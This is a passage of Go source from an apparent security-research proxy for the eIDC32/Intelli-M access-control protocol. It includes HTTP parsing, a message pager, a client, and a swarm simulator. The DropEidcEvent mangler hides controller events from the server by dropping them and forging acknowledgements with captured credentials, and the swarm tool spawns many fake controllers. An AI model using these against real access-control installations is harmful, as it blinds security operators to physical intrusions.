o.msgType { 145 | return ManglerNoop, nil 146 | } 147 | 148 | if o.log { 149 | log.Printf("Dropping %s response, this mangler is done.", string(msg.Body)) 150 | } 151 | 152 | return ManglerDrop | ManglerDone, nil 153 | } 154 | 155 | // DropEidcEvent mangler suppresses northbound eIDC32 event messages. 156 | // Doing so requres 3 distinct operations: 157 | // 1) Match the event message, suppress it so it doesn't reach the server. 158 | // 2) Generate a fake server ACK message (POST event ID to /eidc/eventack) 159 | // 3) Match the eIDC HTTP response to the POST above, suppres it. 160 | // EventType, OnlyBuffered and OnlyLive are filters used to select the event. 161 | // FilterFunc() is optional, can be used for more granular event filtering. Return 162 | // true to indicate whether an event should be suppressed. 163 | // OneShot indicates the mangler should remove itself after the first match. 164 | // Session is required becase we can't synthesize server responses without 165 | // API credentials found in the Session structure. 166 | // PostFunc() is optional, will be run after dropping the matching event. 167 | type DropEidcEvent struct { 168 | EventType EventType 169 | OnlyBuffered bool 170 | OnlyLive bool 171 | OneShot bool 172 | FilterFunc func(event *EventRequest) bool 173 | PostFunc func(session *Session) error 174 | Session *Session 175 | } 176 | 177 | func (o DropEidcEvent) Mangle(msg *Message) (MangleResult, error) { 178 | // Session data is required 179 | 180 | if o.Session == nil { 181 | return ManglerNoop, fmt.Errorf("cannot drop eidc event without session info") 182 | } 183 | 184 | // ignore messages that aren't northbound event requests 185 | if msg.direction != Northbound { 186 | return ManglerNoop, nil 187 | } 188 | 189 | if msg.Type != MsgTypeEventRequest { 190 | return ManglerNoop, nil 191 | } 192 | 193 | // extract the event 194 | event, err := msg.ParseEventRequest() 195 | if err != nil { 196 | return ManglerNoop | ManglerErr, err 197 | } 198 | 199 | // check for mandatory buffered (or not) event types 200 | if o.OnlyBuffered && event.EventType&BufferedEventFlag != BufferedEventFlag { 201 | return ManglerNoop, nil 202 | } 203 | if o.OnlyLive && event.EventType&BufferedEventFlag != 0 { 204 | return ManglerNoop, nil 205 | } 206 | 207 | // strip the buffered event flag 208 | event.EventType = event.EventType & ^BufferedEventFlag 209 | 210 | // check for the required event type (if any) 211 | if o.EventType != 0 && event.EventType != o.EventType { 212 | return ManglerNoop, nil 213 | } 214 | 215 | // run FilterFunc if it exists 216 | if o.FilterFunc != nil { 217 | dropIt := o.FilterFunc(&event) 218 | if !dropIt { 219 | return ManglerNoop, nil 220 | } 221 | } 222 | 223 | eventAckRequest, err := NewEventAckMsg(o.Session.apiCreds.username, o.Session.apiCreds.password, event.EventID) 224 | if err != nil { 225 | return ManglerNoop, err 226 | } 227 | 228 | dropMangler := dropEidcResponse{ 229 | log: true, 230 | msgType: MsgTypeEventAckResponse, 231 | } 232 | go o.Session.Inject(*eventAckRequest, []Mangler{dropMangler}) 233 | 234 | result := ManglerDrop 235 | if o.OneShot { 236 | result = result | ManglerDone 237 | } 238 | if o.PostFunc != nil { 239 | err = o.PostFunc(o.Session) 240 | } 241 | return result, err 242 | } 243 | 244 | type DropEidcPointStatusRequest struct { 245 | point point 246 | } 247 | 248 | func (o DropEidcPointStatusRequest) Mangle(msg *Message) (MangleResult, error) { 249 | if msg.direction != Northbound { 250 | return ManglerNoop, nil 251 | } 252 | if msg.Type != MsgTypePointStatusRequest { 253 | return ManglerNoop, nil 254 | } 255 | psr, err := msg.ParsePointStatusRequest() 256 | if err != nil { 257 | return ManglerNoop, err 258 | } 259 | for _, p := range psr.Points { 260 | if p.PointID == int(o.point) { 261 | return ManglerDone | ManglerDrop, nil 262 | } 263 | } 264 | return ManglerNoop, nil 265 | } 266 | -------------------------------------------------------------------------------- /http.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "regexp" 10 | "strconv" 11 | "strings" 12 | "unicode" 13 | ) 14 | 15 | // Various strings used for searching and building HTTP messages. 16 | // 17 | // Only use these if you know what you are doing. 18 | const ( 19 | UAeIDCWebServer = "eIDC32 WebServer" 20 | http10Proto = "HTTP/1.0" 21 | noCache = "no-cache" 22 | ) 23 | 24 | // Various HTTP headers by name only. Does not include colon or space chars. 25 | const ( 26 | hostHeader = "host:" 27 | crlf = "\r\n" 28 | crlfcrlf = "\r\n\r\n" 29 | contentLengthWithColon = "content-length:" 30 | UAeIDCListener = "eIDCListener" 31 | serverHeaderName = "Server" 32 | cacheControlHeaderName = "Cache-Control" 33 | contentTypeHeaderName = "Content-Type" 34 | serverKeyHeaderName = "ServerKey" 35 | ) 36 | 37 | var ( 38 | crlfBytes = []byte(crlf) 39 | crlfCRLFBytes = []byte(crlfcrlf) 40 | reqMethods = [][]byte{ 41 | []byte("OPTIONS "), 42 | []byte("GET "), 43 | []byte("HEAD "), 44 | []byte("POST "), 45 | []byte("PUT "), 46 | []byte("DELETE "), 47 | []byte("TRACE "), 48 | []byte("CONNECT "), 49 | } 50 | httpCLHeader = []byte(contentLengthWithColon) 51 | ) 52 | 53 | // isRequest returns true if the passed reader looks like 54 | // it contains an HTTP request. 55 | func isRequest(b []byte) bool { 56 | for _, m := range reqMethods { 57 | if bytes.HasPrefix(b, m) { 58 | return true 59 | } 60 | } 61 | return false 62 | } 63 | 64 | // isResponse returns true if the passed reader looks like 65 | // it contains an HTTP response. 66 | func isResponse(b []byte) bool { 67 | i := bytes.Index(b, crlfBytes) 68 | if i <= 0 { 69 | return false 70 | } 71 | re := regexp.MustCompile("^HTTP/[0-9]+.[0-9]+ ") 72 | return re.Match(b[:i]) 73 | } 74 | 75 | // SplitHttpMsg is a scanner split function. It causes the scanner parse out 76 | // individual http messages. A message ends at CRLF+CRLF unless a 77 | // "Content-Length:" header appears, in which case the message ends 78 | // Content-Length bytes after the CRLF+CRLF. 79 | func SplitHttpMsg(data []byte, atEOF bool) (advance int, token []byte, err error) { 80 | //todo need to do something with atEOF 81 | var headerSize int 82 | var contentLength int 83 | // Look for CRLF+CRLF 84 | if headerSize = bytes.Index(data, crlfCRLFBytes); headerSize >= 0 { 85 | // First, adjust i so that it points at the *end* of the delimiter, not 86 | // than the beginning. This is safe (no nil pointer dereference) because 87 | // we already know the newline characters are there. 88 | headerSize += len(crlfCRLFBytes) 89 | 90 | contentLength, err = getContentLength(data[:headerSize]) 91 | if err != nil { 92 | return 0, nil, err 93 | } 94 | 95 | // ask for more data if we don't have the whole body yet 96 | if headerSize+contentLength > len(data) { 97 | return 0, nil, nil 98 | } 99 | 100 | // eIDCListener bug: It sends a bogus CRLF with GET messages. Check for 101 | // and include extra newline data beyond where this request 102 | // should have ended. 103 | var buggyExtraGarbage int 104 | for len(data) > headerSize+contentLength+buggyExtraGarbage { 105 | if unicode.IsSpace(rune(data[headerSize+contentLength+buggyExtraGarbage])) { 106 | buggyExtraGarbage++ 107 | } else { 108 | break 109 | } 110 | } 111 | 112 | count := headerSize + contentLength + buggyExtraGarbage 113 | return count, data[:count], nil 114 | } 115 | 116 | // crlfcrlf not available - ask for more data 117 | return 0, nil, nil 118 | } 119 | 120 | // getContentLength extracts the content-length value from an http header. 121 | // If not present in the header return value will be -1 122 | func getContentLength(in []byte) (int, error) { 123 | contentLength := -1 124 | var err error 125 | scanner := bufio.NewScanner(bytes.NewReader(in)) 126 | for scanner.Scan() { 127 | // Find the line beginning with "Content-Length:" 128 | if bytes.HasPrefix(bytes.ToLower(scanner.Bytes()), httpCLHeader) { 129 | // Extract the Content Length 130 | re := regexp.MustCompile("[0-9]+") 131 | contentLength, err = strconv.Atoi(string(re.Find(scanner.Bytes()))) 132 | } 133 | } 134 | return contentLength, err 135 | } 136 | 137 | // peekHttpHeader assumes input is an HTTP request/response, will have a 138 | // CRLFCRLF sequence. It returns everything including that delimiter, 139 | // suitable for parsing by http.Read() 140 | func peekHttpHeader(in *bufio.Reader) ([]byte, error) { 141 | var err error 142 | var test []byte 143 | 144 | // loop until "\r\n\r\n" 145 | for i := 4; ; i++ { 146 | test, err = in.Peek(i) 147 | if err != nil { 148 | return nil, err 149 | } 150 | if bytes.HasSuffix(test, crlfCRLFBytes) { 151 | return test[:len(test)], nil 152 | } 153 | } 154 | } 155 | 156 | // peekHostHeaderValue finds the "host: xyz" header in a bufio.reader using the 157 | // peek() method. It's here to dig out the name of the Real Server (tm) that 158 | // the proxy needs to connect to, without actually consuming any data from the 159 | // reader. The reader can then be used by the message relay functions. 160 | func peekHostHeaderValue(in *bufio.Reader) (string, error) { 161 | var i, j int 162 | 163 | // loop until we find "\r\nhost:", leave 'i' pointing at the end of it. 164 | for i = 0; ; i++ { 165 | test, err := in.Peek(i) 166 | if err != nil { 167 | return "", err 168 | } 169 | if bytes.HasSuffix(bytes.ToLower(test), []byte(crlf+hostHeader)) { 170 | break 171 | } 172 | } 173 | 174 | // loop until we find "\r\n", leave j pointing at the beginning of it. 175 | for j = i + len(hostHeader); ; j++ { 176 | test, err := in.Peek(j) 177 | if err != nil { 178 | return "", err 179 | } 180 | if bytes.HasSuffix(test, crlfBytes) { 181 | j -= len(crlf) 182 | break 183 | } 184 | } 185 | 186 | found, err := in.Peek(j) 187 | if err != nil { 188 | return "", err 189 | } 190 | 191 | return strings.TrimSpace(string(found[i:j])), nil 192 | } 193 | 194 | // peekLoginInfo extracts LoginInfo data from a bufio.Reader without 195 | // actually pulling data from the reader (peek) 196 | func peekLoginInfo(in *bufio.Reader) (*LoginInfo, error) { 197 | // start by extracting the HTTP header we assume is going to be here 198 | hdrBytes, err := peekHttpHeader(in) 199 | if err != nil { 200 | return nil, err 201 | } 202 | 203 | // now grab the rest of the HTTP message 204 | contentLength, err := getContentLength(hdrBytes) 205 | if err != nil { 206 | return nil, err 207 | } 208 | 209 | if contentLength <= 0 { 210 | return nil, fmt.Errorf("peekLoginInfo can't find content-length") 211 | } 212 | 213 | httpMsgBytes, err := in.Peek(len(hdrBytes) + contentLength) 214 | if err != nil { 215 | return nil, err 216 | } 217 | 218 | // Ultimately we're looking to construct a LoginInfo. This info is sent as 219 | // the first HTTP request in an eIDC32 session. It HAS TO BE a request. 220 | if !isRequest(httpMsgBytes) { 221 | return nil, fmt.Errorf("initial message not an HTTP request:'%s'", 222 | string(httpMsgBytes)) 223 | } 224 | 225 | // Parse the request 226 | req, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(httpMsgBytes))) 227 | if err != nil { 228 | return nil, err 229 | } 230 | 231 | // We're still looking to construct a LoginInfo. Make sure this request 232 | // contains that information. 233 | if !isControllerLogin(req) { 234 | return nil, fmt.Errorf("initial message not a controller login") 235 | } 236 | 237 | // ServerKey will be the value at the first instance of "Serverkey" found 238 | // in the http header. 239 | var serverKey string 240 | if len(req.Header["Serverkey"]) > 0 { 241 | serverKey = req.Header["Serverkey"][0] 242 | } 243 | 244 | // The body of the request contains most of the interesting stuff. Grab it. 245 | body, err := ioutil.ReadAll(req.Body) 246 | if err != nil { 247 | return nil, err 248 | } 249 | 250 | // parse the request body into a connectedReq 251 | connectedReq, err := parseControllerLoginBytes(body) 252 | if err != nil { 253 | return nil, err 254 | } 255 | return &LoginInfo{ 256 | Host: req.Host, 257 | ServerKey: serverKey, 258 | ConnectedReq: connectedReq, 259 | }, nil 260 | } 261 | -------------------------------------------------------------------------------- /pager.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "sync" 5 | "time" 6 | ) 7 | 8 | type SubMsgCat int // Subscription Message Category 9 | 10 | func (o SubMsgCat) String() string { 11 | switch o { 12 | case SubMsgCatAny: 13 | return "Message Category 'Any'" 14 | case SubMsgCatAnyNB: 15 | return "Message Category 'Any Northbound'" 16 | case SubMsgCatAnyNBReq: 17 | return "Message Category 'Any Northbound Request'" 18 | case SubMsgCatAnyNBResp: 19 | return "Message Category 'Any Northbound Response'" 20 | case SubMsgCatAnySB: 21 | return "Message Category 'Any Southbound'" 22 | case SubMsgCatAnySBReq: 23 | return "Message Category 'Any Southbound Request'" 24 | case SubMsgCatAnySBResp: 25 | return "Message Category 'Any Southbound Response'" 26 | case SubMsgCatAnyReq: 27 | return "Message Category 'Any Request'" 28 | case SubMsgCatAnyResp: 29 | return "Message Category 'Any Response'" 30 | } 31 | return "Unknown Message Category" 32 | } 33 | 34 | const ( 35 | SubMsgCatAny SubMsgCat = iota // For subscriptions to all messages 36 | SubMsgCatAnyNB // For subscriptions to all Northbound messages 37 | SubMsgCatAnyNBReq // For subscriptions to all Northbound request messages 38 | SubMsgCatAnyNBResp // For subscriptions to all Northbound response messages 39 | SubMsgCatAnySB // For subscriptions to all Southbound messages 40 | SubMsgCatAnySBReq // For subscriptions to all Southbound request messages 41 | SubMsgCatAnySBResp // For subscriptions to all Southbound response messages 42 | SubMsgCatAnyReq // For subscriptions to all request messages 43 | SubMsgCatAnyResp // For subscriptions to all response messages 44 | ) 45 | 46 | // SubInfo is provided with a MessagePager's SubscribeErr() method. It details 47 | // the sort of message the subscriber is interested in receiving. It contains 48 | // both a Category (for subscription to broad categories of messages) and a 49 | // slice of MsgTypes (for subscription to specific message type(s)). The 50 | // Category element is only considered if the []MsgType element is empty. 51 | type SubInfo struct { 52 | Category SubMsgCat 53 | MsgTypes []MsgType 54 | } 55 | 56 | // NewMessagePager returns an implementation of MessagePager 57 | func NewMessagePager() MessagePager { 58 | return &eidcMessagePager{ 59 | mu: &sync.Mutex{}, 60 | timeout: 100 * time.Millisecond, 61 | typesToChans: make(map[MsgType]map[chan Message]struct{}), 62 | catsToChans: make(map[SubMsgCat]map[chan Message]struct{}), 63 | } 64 | } 65 | 66 | // MessagePager is a simple interface for implementing a "pub-sub-like" 67 | // message distribution model. Implementations of this interface will 68 | // manage the distribution of messages to various interested parties. 69 | // 70 | // Callers may subscribe to messages by calling the desired method. 71 | // Each listener method creates and returns two values: 72 | // - A receive-only chan 73 | // - A "unsub" function that ends the subscription and closes the channel 74 | // 75 | // Callers must take care to execute the "unsub" function when they are 76 | // finished with the listener. 77 | type MessagePager interface { 78 | // DistributeMessage distributes a new message to any subscribed 79 | // listeners. The inputs to this method are the data read directly 80 | // from the underlying network socket with very little parsing 81 | // or verification having been committed. The direction that the 82 | // message is heading is also provided. 83 | DistributeMessage(*Message) 84 | 85 | // Subscribe creates and returns a new Message listener. It is 86 | // typically invoked when socket data is successfully parsed 87 | // into a Message of the specified MsgType. 88 | // 89 | // Callers must execute the corresponding function returned 90 | // with the chan when they are finished with the chan. 91 | Subscribe(info SubInfo) (<-chan Message, func()) 92 | } 93 | 94 | type eidcMessagePager struct { 95 | mu *sync.Mutex 96 | timeout time.Duration 97 | typesToChans map[MsgType]map[chan Message]struct{} 98 | catsToChans map[SubMsgCat]map[chan Message]struct{} 99 | } 100 | 101 | func (o *eidcMessagePager) DistributeMessage(msg *Message) { 102 | o.mu.Lock() 103 | defer o.mu.Unlock() 104 | 105 | // Figure out what category matches this message 106 | var req, resp bool 107 | if msg.Request != nil { 108 | req = true 109 | } 110 | if msg.Response != nil { 111 | resp = true 112 | } 113 | dir := msg.Direction() 114 | var thisMsgCategory SubMsgCat 115 | switch dir { 116 | case Northbound: 117 | if req { 118 | thisMsgCategory = SubMsgCatAnyNBReq 119 | } 120 | if resp { 121 | thisMsgCategory = SubMsgCatAnyNBResp 122 | } 123 | case Southbound: 124 | if req { 125 | thisMsgCategory = SubMsgCatAnySBReq 126 | } 127 | if resp { 128 | thisMsgCategory = SubMsgCatAnySBResp 129 | } 130 | } 131 | 132 | sendTo := func(c chan Message) { 133 | timer := time.NewTimer(o.timeout) 134 | select { 135 | case c <- *msg: 136 | timer.Stop() 137 | case <-timer.C: 138 | } 139 | } 140 | 141 | // Send message to all message category channels 142 | for c := range o.catsToChans[thisMsgCategory] { 143 | sendTo(c) 144 | } 145 | 146 | // Send message to all type-specific channels 147 | for c := range o.typesToChans[msg.GetType()] { 148 | sendTo(c) 149 | } 150 | } 151 | 152 | func (o *eidcMessagePager) Subscribe(info SubInfo) (<-chan Message, func()) { 153 | o.mu.Lock() 154 | defer o.mu.Unlock() 155 | 156 | if len(info.MsgTypes) > 0 { 157 | return o.subscribeByType(info.MsgTypes) 158 | } 159 | return o.subscribeByCategory(info.Category) 160 | } 161 | 162 | func (o *eidcMessagePager) subscribeByType(msgTypes []MsgType) (<-chan Message, func()) { 163 | c := make(chan Message) 164 | for _, msgType := range msgTypes { // Loop over subscriber's message types 165 | // Create the map for this type of message if it doesn't already exist 166 | chanMapForThisType := o.typesToChans[msgType] 167 | if chanMapForThisType == nil { 168 | chanMapForThisType = make(map[chan Message]struct{}) 169 | o.typesToChans[msgType] = chanMapForThisType 170 | } 171 | // Add the subscriber's channel to the map 172 | chanMapForThisType[c] = struct{}{} 173 | } 174 | 175 | // Create the unsubscribe function for this subscriber, 176 | // return it along with the subscriber's channel. 177 | return c, func() { 178 | o.mu.Lock() 179 | for _, msgType := range msgTypes { // Loop over subscriber's message types 180 | chanMapForThisType := o.typesToChans[msgType] 181 | delete(chanMapForThisType, c) 182 | if len(chanMapForThisType) == 0 { 183 | delete(o.typesToChans, msgType) 184 | } 185 | } 186 | o.mu.Unlock() 187 | close(c) 188 | } 189 | } 190 | 191 | func (o *eidcMessagePager) subscribeByCategory(requested SubMsgCat) (<-chan Message, func()) { 192 | var msgCats []SubMsgCat 193 | switch requested { 194 | case SubMsgCatAny: 195 | msgCats = []SubMsgCat{SubMsgCatAnyNBReq, SubMsgCatAnyNBResp, 196 | SubMsgCatAnySBReq, SubMsgCatAnySBResp} 197 | case SubMsgCatAnyNB: 198 | msgCats = []SubMsgCat{SubMsgCatAnyNBReq, SubMsgCatAnyNBResp} 199 | case SubMsgCatAnySB: 200 | msgCats = []SubMsgCat{SubMsgCatAnySBReq, SubMsgCatAnySBResp} 201 | case SubMsgCatAnyReq: 202 | msgCats = []SubMsgCat{SubMsgCatAnyNBReq, SubMsgCatAnySBReq} 203 | case SubMsgCatAnyResp: 204 | msgCats = []SubMsgCat{SubMsgCatAnyNBResp, SubMsgCatAnySBResp} 205 | default: 206 | msgCats = []SubMsgCat{requested} 207 | } 208 | c := make(chan Message) 209 | for _, msgCat := range msgCats { // Loop over subscriber's message categories 210 | // Create the map for this type of message if it doesn't already exist 211 | chanMapForThisCategory := o.catsToChans[msgCat] 212 | if chanMapForThisCategory == nil { 213 | chanMapForThisCategory = make(map[chan Message]struct{}) 214 | o.catsToChans[msgCat] = chanMapForThisCategory 215 | } 216 | // Add the subscriber's channel to the map 217 | chanMapForThisCategory[c] = struct{}{} 218 | } 219 | 220 | // Create the unsubscribe function for this subscriber, 221 | // return it along with the subscriber's channel. 222 | return c, func() { 223 | o.mu.Lock() 224 | for _, msgCat := range msgCats { // Loop over subscriber's message categories 225 | chanMapForThisCategory := o.catsToChans[msgCat] 226 | delete(chanMapForThisCategory, c) 227 | if len(chanMapForThisCategory) == 0 { 228 | delete(o.catsToChans, msgCat) 229 | } 230 | } 231 | o.mu.Unlock() 232 | close(c) 233 | } 234 | } 235 | -------------------------------------------------------------------------------- /client/client.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "net/http" 8 | "net/url" 9 | "time" 10 | 11 | "github.com/chrismarget/eidc32proxy" 12 | ) 13 | 14 | func ConnectWithConfig(config ConnectionConfig) (*Client, error) { 15 | err := config.Validate() 16 | if err != nil { 17 | return nil, fmt.Errorf("failed to validate connection config - %w", err) 18 | } 19 | 20 | raw, err := eidc32proxy.IntellimHTTPRequestBytes(&eidc32proxy.IntellimHTTPRequestData{ 21 | URL: config.URL.IntelliM, 22 | SubPath: eidc32proxy.ConnectedRequestURI, 23 | Method: http.MethodPost, 24 | ServerKey: config.ServerKey, 25 | Body: &config.Request, 26 | }) 27 | if err != nil { 28 | return nil, fmt.Errorf("failed to create intellim connected message - %w", err) 29 | } 30 | 31 | conn, err := eidc32proxy.ConnFuncForURL(config.URL.ConnectTo(), "tcp4")() 32 | if err != nil { 33 | return nil, err 34 | } 35 | 36 | client := UpgradeConnToClient(conn, config.Pager) 37 | 38 | if config.FirstWriteTimeout > 0 { 39 | err = client.SendRawWithin(raw, config.FirstWriteTimeout) 40 | } else { 41 | err = client.SendRaw(raw) 42 | } 43 | if err != nil { 44 | return nil, fmt.Errorf("failed to send connected message - %w", err) 45 | } 46 | 47 | if config.FirstReadTimeout > 0 { 48 | _, err := client.ReadWithin(config.FirstReadTimeout) 49 | if err != nil { 50 | return nil, err 51 | } 52 | } 53 | 54 | return client, nil 55 | } 56 | 57 | // ConnectionConfig configures a connection to an Intelli-M instance. 58 | type ConnectionConfig struct { 59 | // URL is the IntellimURL to connect to. 60 | URL *IntellimURL 61 | 62 | // Pager is the MessagePager to use for handling 63 | // incoming messages from Intelli-M. 64 | Pager eidc32proxy.MessagePager 65 | 66 | // FirstWriteTimeout is the maximum amount of time to wait for 67 | // the first write to the underlying socket to succeed. 68 | FirstWriteTimeout time.Duration 69 | 70 | // FirstReadTimeout is the maximum amount of time to wait for 71 | // the first read from the underlying socket to succeed. 72 | FirstReadTimeout time.Duration 73 | 74 | // ServerKey is the server key to use. 75 | ServerKey string 76 | 77 | // Request is the ConnectedRequest body to write in the 78 | // very first message to Intelli-M. 79 | Request eidc32proxy.ConnectedRequest 80 | } 81 | 82 | func (o ConnectionConfig) Validate() error { 83 | if o.URL == nil { 84 | return fmt.Errorf("intellim url cannot be nil") 85 | } else if o.Pager == nil { 86 | return fmt.Errorf("message pager cannot be nil") 87 | } 88 | 89 | return nil 90 | } 91 | 92 | // IntellimURL represents the possible URLs of an Intelli-M instance, 93 | // and provides helper methods for selecting the appropriate URL value when 94 | // communicating with an Intelli-M. If a proxy is needed, then OptionalProxy 95 | // should be set to a non-nil *url.URL. Otherwise, it can be left nil. 96 | type IntellimURL struct { 97 | IntelliM *url.URL 98 | OptionalProxy *url.URL 99 | } 100 | 101 | // ConnectTo returns the *url.URL that clients should initiate connections to. 102 | // This method picks between the Intelli-M's actual URL and an optional proxy 103 | // URL, returning the appropriate value. 104 | func (o IntellimURL) ConnectTo() *url.URL { 105 | if o.OptionalProxy != nil { 106 | return o.OptionalProxy 107 | } 108 | 109 | return o.IntelliM 110 | } 111 | 112 | func UpgradeConnToClient(conn net.Conn, pager eidc32proxy.MessagePager) *Client { 113 | onRead := make(chan []byte, 1) 114 | errChan := make(chan error, 1) 115 | go func() { 116 | defer close(onRead) 117 | scanner := bufio.NewScanner(conn) 118 | scanner.Split(eidc32proxy.SplitHttpMsg) 119 | for scanner.Scan() { 120 | select { 121 | case onRead <- scanner.Bytes(): 122 | default: 123 | } 124 | msg, err := eidc32proxy.ReadMsg(scanner.Bytes(), eidc32proxy.Southbound) 125 | if err != nil { 126 | // TODO: Maybe this should be a "class" 127 | // of error, and not an automatic 128 | // "kill the connection" error? 129 | errChan <- err 130 | return 131 | } 132 | pager.DistributeMessage(msg) 133 | } 134 | 135 | select { 136 | case errChan <- scanner.Err(): 137 | default: 138 | } 139 | }() 140 | 141 | return &Client{ 142 | conn: conn, 143 | onRead: onRead, 144 | pager: pager, 145 | errChan: errChan, 146 | } 147 | } 148 | 149 | type Client struct { 150 | conn net.Conn 151 | pager eidc32proxy.MessagePager 152 | errChan <-chan error 153 | onRead <-chan []byte 154 | } 155 | 156 | func (o *Client) OnConnClosed() <-chan error { 157 | return o.errChan 158 | } 159 | 160 | func (o *Client) Pager() eidc32proxy.MessagePager { 161 | return o.pager 162 | } 163 | 164 | func (o *Client) SendRaw(message []byte) error { 165 | _, err := o.conn.Write(message) 166 | return err 167 | } 168 | 169 | func (o *Client) SendRawWithin(message []byte, timeout time.Duration) error { 170 | err := o.conn.SetWriteDeadline(time.Now().Add(timeout)) 171 | if err != nil { 172 | return fmt.Errorf("failed to set conn write deadline - %w", err) 173 | } 174 | 175 | _, err = o.conn.Write(message) 176 | // Reset the write deadline to default value 177 | // (i.e., never timeout). 178 | o.conn.SetWriteDeadline(time.Time{}) 179 | return err 180 | } 181 | 182 | func (o *Client) ReadWithin(timeout time.Duration) ([]byte, error) { 183 | timer := time.NewTimer(timeout) 184 | select { 185 | case raw, isOpen := <-o.onRead: 186 | timer.Stop() 187 | if isOpen { 188 | return raw, nil 189 | } else { 190 | return nil, fmt.Errorf("socket has been closed, and is no longer readable") 191 | } 192 | case <-timer.C: 193 | return nil, fmt.Errorf("failed to read from socket in allotted time (%s)", timeout.String()) 194 | } 195 | } 196 | 197 | func (o *Client) Close() error { 198 | return o.conn.Close() 199 | } 200 | 201 | // SubscribeTo helps to subscribe to a MessagePager for several types of 202 | // message types. 203 | func SubscribeTo(pager eidc32proxy.MessagePager, msgTypes ...eidc32proxy.MsgType) ([]<-chan eidc32proxy.Message, []func()) { 204 | var chans []<-chan eidc32proxy.Message 205 | var unsubFns []func() 206 | 207 | for _, msgType := range msgTypes { 208 | c, unsub := pager.Subscribe(eidc32proxy.SubInfo{ 209 | MsgTypes: []eidc32proxy.MsgType{ 210 | msgType, 211 | }, 212 | }) 213 | 214 | chans = append(chans, c) 215 | unsubFns = append(unsubFns, unsub) 216 | } 217 | 218 | return chans, unsubFns 219 | } 220 | 221 | // TrueDat starts a go routine for each provided Message channel and attempts 222 | // to automatically respond with a response whose 'result' field is set 223 | // to 'true'. Any response failures (such as response serialization errors, 224 | // or socket write errors) are written to the returned channel. 225 | // 226 | // Each go routine exits when the corresponding Message channel is closed. 227 | func TrueDat(sendResponseFn func([]byte, eidc32proxy.MsgType) error, chans ...<-chan eidc32proxy.Message) <-chan error { 228 | errs := make(chan error, 1) 229 | onErrFn := func(err error) { 230 | timer := time.NewTimer(100 * time.Millisecond) 231 | select { 232 | case errs <- err: 233 | timer.Stop() 234 | case <-timer.C: 235 | } 236 | } 237 | 238 | for _, c := range chans { 239 | go func(c <-chan eidc32proxy.Message) { 240 | for incommingMsg := range c { 241 | var cmd string 242 | // TODO: The 'cmd' string should be a method 243 | // on MsgType, or should be included in the 244 | // Message struct somewhere. 245 | msgType := incommingMsg.GetType() 246 | switch msgType { 247 | case eidc32proxy.MsgTypeSetOutboundRequest: 248 | cmd = eidc32proxy.SetOutboundResponseCmd 249 | case eidc32proxy.MsgTypeResetEventsRequest: 250 | cmd = eidc32proxy.ResetEventsResponseCmd 251 | case eidc32proxy.MsgTypeEnableEventsRequest: 252 | cmd = eidc32proxy.EnableEventsResponseCmd 253 | case eidc32proxy.MsgTypeHeartbeatRequest: 254 | cmd = eidc32proxy.HeartbeatResponseCmd 255 | case eidc32proxy.MsgTypeSetWebUserRequest: 256 | cmd = eidc32proxy.SetWebUserResponseCmd 257 | default: 258 | onErrFn(fmt.Errorf("unsupported message type '%s' (ID: %d)", 259 | msgType.String(), msgType)) 260 | continue 261 | } 262 | 263 | rawResp, err := eidc32proxy.EIDCHTTPResponseBytes(&eidc32proxy.EIDCHTTPResponseData{ 264 | StatusCode: http.StatusOK, 265 | WrapperBody: &eidc32proxy.EIDCSimpleResponse{ 266 | Cmd: cmd, 267 | Result: true, 268 | }, 269 | }) 270 | if err != nil { 271 | onErrFn(fmt.Errorf("failed to generate response for '%s' - %w", 272 | msgType.String(), err)) 273 | continue 274 | } 275 | 276 | err = sendResponseFn(rawResp, msgType) 277 | if err != nil { 278 | onErrFn(fmt.Errorf("failed to send response to '%s' - %w", 279 | msgType.String(), err)) 280 | continue 281 | } 282 | } 283 | }(c) 284 | } 285 | 286 | return errs 287 | } 288 | -------------------------------------------------------------------------------- /cmd/eidcswarm/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "flag" 6 | "fmt" 7 | "log" 8 | "net/http" 9 | "net/url" 10 | "os" 11 | "os/signal" 12 | "strings" 13 | "sync" 14 | "time" 15 | 16 | "github.com/chrismarget/eidc32proxy" 17 | "github.com/chrismarget/eidc32proxy/client" 18 | ) 19 | 20 | const ( 21 | defaultSiteKeyEnv = "EIDC_SITE_KEY" 22 | ) 23 | 24 | func main() { 25 | intelliMRawURL := flag.String("u", "https://127.0.0.1:18800", "The URL to connect to") 26 | proxyRawURL := flag.String("proxy", "", "Optional proxy URL") 27 | siteKeyEnv := flag.String("site-key-env", defaultSiteKeyEnv, 28 | "Environment variable containing the site key\nA random site key is generated otherwise") 29 | optionalMACAddress := flag.String("mac", "", 30 | "Optional MAC address to use (defaults to random value for each client)") 31 | firmwareVersion := flag.String("firmware", "3.4.20", "The client's firmware version") 32 | numClients := flag.Int("n", 10, "Number of clients to simulate") 33 | showHelp := flag.Bool("h", false, "Display this help page") 34 | showExamples := flag.Bool("x", false, "Show example usages") 35 | 36 | flag.Parse() 37 | 38 | if *showHelp { 39 | flag.PrintDefaults() 40 | os.Exit(1) 41 | } 42 | 43 | if *showExamples { 44 | os.Stderr.WriteString(`[examples] 45 | 46 | default usage: 47 | client -u https://127.0.0.1:18800 48 | `) 49 | os.Exit(1) 50 | } 51 | 52 | target, err := url.Parse(*intelliMRawURL) 53 | if err != nil { 54 | log.Fatalf("failed to parse target url - %s", err.Error()) 55 | } 56 | 57 | var optionalProxy *url.URL 58 | if len(*proxyRawURL) > 0 { 59 | optionalProxy, err = url.Parse(*proxyRawURL) 60 | if err != nil { 61 | log.Fatalf("failed to parse proxy url - %s", err.Error()) 62 | } 63 | } 64 | 65 | intellimURL := &client.IntellimURL{ 66 | IntelliM: target, 67 | OptionalProxy: optionalProxy, 68 | } 69 | 70 | sitekeys := make(map[string]struct{}) 71 | optionalSiteKey, ok := os.LookupEnv(*siteKeyEnv) 72 | if !ok { 73 | for i := 0; i < *numClients; i++ { 74 | siteKey, err := client.RandomSiteKey() 75 | if err != nil { 76 | log.Fatalf("failed to generate a random site key - %s", err.Error()) 77 | } 78 | _, ok := sitekeys[siteKey] 79 | if ok { 80 | i-- 81 | continue 82 | } 83 | sitekeys[siteKey] = struct{}{} 84 | } 85 | } 86 | 